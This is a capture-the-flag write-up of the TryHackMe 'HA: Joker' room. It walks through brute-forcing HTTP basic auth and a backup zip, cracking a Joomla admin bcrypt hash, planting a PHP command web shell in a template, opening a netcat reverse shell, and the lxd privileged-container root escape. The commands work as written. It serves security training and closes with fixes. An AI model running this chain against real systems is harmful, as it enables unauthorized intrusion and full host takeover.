HA Joker CTF
HTTP basic-auth and a backup zip are brute-forced to recover a Joomla admin bcrypt hash; cracking it allows a template-edit RCE as www-data, who sits in the lxd group — the identified privilege-escalation vector (container escape).
A walkthrough of the “HA: Joker” room from TryHackMe. A Joomla site on port 8080 hides behind HTTP basic auth; brute-forcing it and a leaked backup zip recovers the Joomla admin bcrypt hash, which cracks and allows a template-edit RCE as www-data. That account sits in the lxd group — the clear privilege-escalation vector. This writeup documents the chain exactly as performed: it reaches the confirmed www-data foothold and identifies the lxd escape; the container-mount step and flags were not captured in these notes.
HA Joker CTF is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. All recovered passwords are shown as
<redacted>— real on the box, withheld here.
TL;DR
TL;DR
Port 80 is a static site; port 8080 is a Joomla behind HTTP basic auth → the login dialog hints users joker/batman, and hydra cracks joker (weak password) → authenticated ffuf finds a /backup zip → zip2john + john crack the zip, exposing joomladb.sql → the dump holds the Joomla admin bcrypt hash, cracked with hashcat -m 3200 → log into Joomla and edit the protostar template’s error.php for RCE as www-data → id shows www-data is in the lxd group, the standard container-escape privesc vector (lxd-alpine image → privileged container mounting host /). The container-mount step and flags are not in these notes.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows SSH, a static site on 80, and a basic-auth-protected app on 8080:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache 2.4.41 # "HA: Joker" static page
8080/tcp open http Apache 2.4.41 # 401 Basic realm "Please enter the password."
The 8080 login dialog references joker and batman, so joker is the brute-force target.
The vulnerability
The chain is a stack of weak secrets ending in a Joomla admin RCE: a crackable basic-auth password, a crackable backup zip, and a crackable admin bcrypt hash. The privesc is a classic lxd group container escape.
Insight
Two things define this box. (1) Joomla’s template editor is RCE by design for an admin — editing templates/protostar/error.php to add system($_GET['cmd']) and requesting it runs commands as www-data. (2) The www-data account is in the lxd group: anyone in lxd can import an image, launch a container with security.privileged=true, mount the host filesystem into it, and read/write everything as root — a complete host takeover from an unprivileged shell.
Step 1 — brute basic auth, crack the backup zip
hydra -l joker -P rockyou.txt $IP -s 8080 http-get / # joker : <redacted>
# authenticated content discovery finds /backup (a large zip):
ffuf -u http://$IP:8080/FUZZ -w big.txt -H 'Authorization: Basic <joker:...>'
zip2john backup.zip > zip.hash && john zip.hash # zip password: <redacted>
unzip backup.zip # db/joomladb.sql + site/
Step 2 — crack the Joomla admin hash → admin login
The SQL dump holds the admin user’s bcrypt hash:
grep -i users db/joomladb.sql # admin : $2y$10$... (bcrypt)
hashcat -m 3200 -a 0 hash_admin.txt rockyou.txt # admin : <redacted>
# -> log in at http://$IP:8080/administrator as admin
Step 3 — template-edit RCE → www-data
In Joomla admin, Extensions → Templates → protostar, edit error.php to add a command handler, then trigger it:
# error.php: <?php system($_GET['cmd']); ?>
curl "http://$IP:8080/templates/protostar/error.php?cmd=id" # -> www-data
# upload/trigger a PHP reverse shell the same way:
nc -lvnp 4444 # -> shell as www-data
www-data@...:/$ id # uid=33(www-data) ... groups=...,115(lxd)
Where this stops
We hold a confirmed shell as www-data, and id shows membership in the lxd group — the privilege-escalation vector. In these notes the lxd-alpine image was built and staged on the target, but the final steps (importing the image, launching a security.privileged=true container, mounting the host /, and reading the flags) were not captured, and no user/root flag was recorded. The remaining path is the standard lxd-group escape:
# standard lxd-group escalation (not captured in these notes):
lxc image import ./alpine.tar.gz --alias pwn
lxc init pwn r00t -c security.privileged=true
lxc config device add r00t host disk source=/ path=/mnt/root recursive=true
lxc start r00t && lxc exec r00t /bin/sh # /mnt/root is the host filesystem, as root
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Weak passwords (basic auth, a backup zip, and the Joomla admin bcrypt hash) give authenticated admin access, and Joomla’s template editor turns that into remote code execution as www-data. That account’s membership in the lxd group permits a privileged-container escape to full root on the host — complete compromise once the standard lxd technique is run.
Recommended fix
Fix
- Enforce strong passwords everywhere — basic auth, archives, and the Joomla admin account all fell to rockyou; store hashes with a strong scheme and never ship DB dumps in a web-reachable backup.
- Lock down the Joomla admin (2FA, restrict the template editor / disable file editing) so a stolen admin login can’t become RCE.
- Never put the web user in the
lxdgroup.lxdmembership is equivalent to root; remove it and segment container management.
Takeaways
- One weak password cascades. Basic auth → zip → admin bcrypt, each crack unlocking the next.
- Joomla admin = RCE. The template editor is a reliable foothold once you’re in.
- Check your groups.
idshowinglxdis a red flag that means root is one container away.
HA Joker CTF is a clean credentials-to-RCE chain whose privesc hinges on a dangerous group membership. Thanks for reading.